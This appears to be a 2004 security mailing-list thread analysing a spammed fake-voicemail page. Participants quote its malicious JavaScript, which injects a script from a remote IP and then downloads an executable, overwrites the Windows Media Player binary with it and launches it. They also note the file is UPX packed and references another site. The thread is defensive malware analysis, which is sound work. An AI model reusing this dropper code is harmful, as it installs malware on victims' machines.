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Re: spamming trojan?


From: joe smith <joe () joesmith homeip net>
Date: Wed, 16 Jun 2004 13:25:19 -0500

I used PE Explorer. Looks the june4.exe is some kind of spyware. It reference to another site "cjdra.com", possibly uploading user information there. I just started learning assembly, please pardon my lack of knowledge on reverse engineering.

J

Michael Gargiullo wrote:

On Wed, 2004-06-16 at 13:41, joe smith wrote:
The file is UPX packed and withit the file there is another "GET" pointing to "http://219.234.95.124/june4.exe";

J

Like those Chinese stacking dolls... How'd you unpack it?

Michael Gargiullo wrote:

On Wed, 2004-06-16 at 08:23, Geo. wrote:


Received a spam this morning claiming I have a voicemail with the link
(warning do not click the link)

http:-//www-1voicemailbox-net/voicemail/ (dashes added by me)

which brings up a frames based page with one of the frames containing this


  function InjectedDuringRedirection(){

showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialo
gHeight:1\;dialogWidth:1\;").location="javascript:'<SCRIPT
SRC=\\'http://219.234.95.124/vbox/shellscript_loader.js\\&apos;><\/script>'";

Anyone want to try and analyze what this thing is? It was spammed to about
30 addresses here this morning.

Geo.
Here's the contents:

var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET", "http://219.234.95.124/vbox/w_e_d.exe",0); x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);

s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";

so whatever w_e_d.exe is...

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